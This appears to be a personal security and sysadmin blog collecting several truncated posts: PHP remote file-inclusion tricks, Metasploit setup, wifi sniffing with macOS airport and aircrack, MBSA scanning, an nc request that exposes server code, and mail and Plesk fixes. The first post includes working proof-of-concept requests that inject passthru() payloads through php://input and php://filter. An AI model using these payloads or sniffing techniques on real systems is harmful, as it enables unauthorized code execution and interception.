shell in a jar

This is a direct rip from here : http://www.cr0w.ru/2009/03/self-contained-file-include-in-php-520.html It is for my own record, and can be seen as a mirror. :) Sometimes those two tricks may be useful in RFI attacks. 1. Using php://input wrapper php://input wrapper allows you to read raw POST data (http://ru2.php.net/wrappers.php). For example, there is such code: sini2 <? if ( include($_GET['file'] . '.php') ) { echo 'Henck!'; } else { echo 'Error!'; } ?> For exploitation we need: allow_url_include=On magic_quotes_gpc=Off PoC: POST http://site.com/index.php?file=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> Also using additional php://filter wrapper (available since PHP 5.0.0) we can encode our php code: POST http://site.com/index.php?file=php://filter/read=string.rot13/resource=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> 2. Using data: wrapper Since version 5.2.0 PHP support...

Adam-Othmans-MacBook-Pro:scratch adam$ cd /opt/local/var/macports/software/metasploit3/3.0_0/opt/local/libexec/metasploit3/ Adam-Othmans-MacBook-Pro:metasploit3 adam$ svn update Skipped '.' Adam-Othmans-MacBook-Pro:metasploit3 adam$ A lil ref from here : http://www.jeffcross.me/2009/04/28/installing-metasploit-on-mac-os-x/ Just a side note for me. :) //alak

Well, as the ttitle suggest, this might be inetersting. Run this in your terminal: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport Warning: it will disconnect you from your current connection. Quoted from here : i know this thread is pretty dead, but for anyone else who might stumble upon this, here's an easy way to sniff packets: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport is a binary that'll do many nifty things... run it without any arguments to get a list of options... specifically, "sudo airport sniff" (obviously, after making a link to the binary) will output a .cap file to /tmp... then you just need to run aircrack on that file... only downer is that you can't see how many packets you've collected so far... closest you could do is run something like "du /tmp/*.cap" and keep track of how large the file's getting Need further exploring tho.. //alak

I came to an asigbment that reuiqres me to use MBSA. Wadehel? i never used this tool before. well, it turns out its quite direct enough. a brief example, a copy paste from here and there. Hope this helps anyone. MBSA basically uses "Remote Registry" and SMB to login and gather all data it wants. it can check ffor few things: ok.. skip the intro, more info go rtfm here : http://technet.microsoft.com/en-us/security/cc184924.aspx Erm, the stupid simple working is that the PC which is canning, and the target PC must have the same password/username, so that MBSA will then login and check for what it needs, and the username must have administrative privilleges. so, is there anyway that you cna set the username/password in mbsa.exe? NO! is there anyway you can login as a domain account in your scanning pc, because the target pc is using domain logins? NO. stupid . solution? use mbsacli.exe. Yup command line. Heres what i did; in my case, i needed to login as a domain account instea...

just add --allowsizemismatch option. Example of error messgae: + NO msg #5476968 [dTkIqMjW1jowM+BZzumd1w] in INBOX + Copying msg #5476968:135936 to folder INBOX Could not fetch message #5476968 from INBOX: message_string() expected 135936 bytes but received 136709 you may need the IgnoreSizeErrors option Taken here : http://www.linux-france.org/prj/imapsync_list/msg00421.html Tips: if you wnat it to even faster, ad --skipsize so it wont get the folder size each time, befiore it copies over the emails. //alak

Qouted from here : http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html?showComment=1284996551492#c3759944444184118630 0x32353031 said... determining the script name is pretty easy. just a lil trick to use: H=ha.ckers.org; echo -ne "POST /blog/category/webappsec/books/ HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less note the content-length field's value... its invalid :P This will produce a simple HTTP/1.1 413 Request Entity Too Large, with a common 413 error message/html followed by the site's code. take a closer look... HTTP/1.1 413 Request Entity Too Large Date: Mon, 20 Sep 2010 14:56:41 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" html head title 413 Request Entity Too Large /title head body h1 Request Entity Too Large /h1 The requested resou...

Error while updating Limit for a spesific domain in PLESK 8.2.0 Windows Googled, and found this: http://forum.parallels.com/showthread.php?t=89683 Solution: cd %plesk_bin% mchk --all --fix=all BUTTTTTTTTT in my case, that was not the solutions actually.. what happen was, the domain has reached its expiry date, thus PELSK auto suspend. But when it suspends, it actually disabled the mail service as well, SOOOOO, what you have to do actually is, 1) Go to Mail > Enable 2) Limits > Set expiry date 3) Switch On. Done. //alak